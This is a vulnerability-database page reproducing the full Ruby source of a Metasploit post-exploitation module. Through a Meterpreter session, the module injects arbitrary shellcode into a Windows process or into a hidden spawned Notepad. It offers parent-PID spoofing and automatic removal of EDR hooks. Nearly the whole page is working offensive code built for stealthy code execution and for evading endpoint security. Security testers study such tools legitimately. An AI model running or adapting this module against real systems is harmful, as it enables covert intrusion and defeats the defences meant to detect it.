Lucene search
K

Windows Manage Memory Shellcode Injection Module

🗓️ 03 Oct 2019 14:47:10Reported by phra <https://iwantmore.pizza>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 47 Views

Windows Manage Memory Shellcode Injection Module - Injects specified shellcode into a process' memor

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Memory Shellcode Injection Module',
        'Description' => %q{
          This module will inject into the memory of a process a specified shellcode.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'phra <https://iwantmore.pizza>' ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_thread_create
            ]
          }
        }
      )
    )

    register_options(
      [
        OptPath.new('SHELLCODE', [true, 'Path to the shellcode to execute']),
        OptInt.new('PID', [false, 'Process Identifier of process to inject the shellcode. (0 = new process)', 0]),
        OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),
        OptBool.new('CHANNELIZED', [true, 'Retrieve output of the process', false]),
        OptBool.new('INTERACTIVE', [true, 'Interact with the process', false]),
        OptBool.new('HIDDEN', [true, 'Spawn an hidden process', true]),
        OptBool.new('AUTOUNHOOK', [true, 'Auto remove EDRs hooks', false]),
        OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5]),
        OptEnum.new('BITS', [true, 'Set architecture bits', '64', ['32', '64']])
      ]
    )
  end

  # Run Method for when run command is issued
  def run
    # syinfo is only on meterpreter sessions
    print_status("Running module against #{sysinfo['Computer']}") if !sysinfo.nil?

    # Set variables
    shellcode = File.binread(datastore['SHELLCODE'])
    pid = datastore['PID']
    ppid = datastore['PPID']
    bits = datastore['BITS']
    p = nil
    if bits == '64'
      bits = ARCH_X64
    else
      bits = ARCH_X86
    end

    # prelim check
    if (client.arch == ARCH_X86) && (@payload_arch == ARCH_X64)
      fail_with(Failure::BadConfig, 'Cannot inject a 64-bit payload into any process on a 32-bit OS')
    end

    if (datastore['PPID'] != 0) && (datastore['PID'] != 0)
      print_error('PID and PPID are mutually exclusive')
      return false
    end

    # Start Notepad if Required
    if pid == 0
      if (ppid != 0) && !has_pid?(ppid)
        print_error("Process #{ppid} was not found")
        return false
      elsif ppid != 0
        print_status("Spoofing PPID #{ppid}")
      end

      notepad_pathname = get_notepad_pathname(bits, client.sys.config.getenv('windir'), client.arch)
      vprint_status("Starting  #{notepad_pathname}")
      proc = client.sys.process.execute(notepad_pathname, nil, {
        'Hidden' => datastore['HIDDEN'],
        'Channelized' => datastore['CHANNELIZED'],
        'Interactive' => datastore['INTERACTIVE'],
        'ParentPid' => datastore['PPID']
      })
      print_status("Spawned Notepad process #{proc.pid}")
    else
      if datastore['CHANNELIZED'] && datastore['PID'] != 0
        fail_with(Failure::BadConfig, "It's not possible to retrieve output when injecting existing processes!")
      elsif datastore['CHANNELIZED'] && datastore['PPID'] != 0
        fail_with(Failure::BadConfig, "It's not possible to retrieve output when using PPID spoofing!")
      end
      unless has_pid?(pid)
        print_error("Process #{pid} was not found")
        return false
      end
      begin
        proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
      rescue Rex::Post::Meterpreter::RequestError => e
        print_error(e.to_s)
        fail_with(Failure::NoAccess, "Failed to open pid #{pid.to_i}")
      end
      print_status("Opening existing process #{proc.pid}")
    end

    # Check
    if (bits == ARCH_X64) && (client.arch == ARCH_X86)
      print_error('You are trying to inject to a x64 process from a x86 version of Meterpreter.')
      print_error('Migrate to an x64 process and try again.')
      return false
    end
    if arch_check(bits, proc.pid)
      if datastore['AUTOUNHOOK']
        print_status('Executing unhook')
        print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
        unless inject_unhook(proc, bits, datastore['WAIT_UNHOOK'])
          fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign unhook dll')
        end
      end
      begin
        inject(shellcode, proc)
      rescue ::Exception => e
        print_error("Failed to inject Payload to #{proc.pid}!")
        print_error(e.to_s)
      end
    else
      fail_with(Failure::BadConfig, 'Arch mismatch between shellcode and process!')
    end
  end

  def inject(shellcode, proc)
    mem = inject_into_process(proc, shellcode)
    proc.thread.create(mem, 0)
    print_good("Successfully injected payload into process: #{proc.pid}")
    if datastore['INTERACTIVE'] && datastore['CHANNELIZED'] && datastore['PID'] == 0
      print_status('Interacting')
      client.console.interact_with_channel(proc.channel)
    elsif datastore['CHANNELIZED'] && datastore['PID'] == 0
      print_status('Retrieving output')
      data = proc.channel.read
      print_line(data) if data
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
7High risk
Vulners AI Score7
47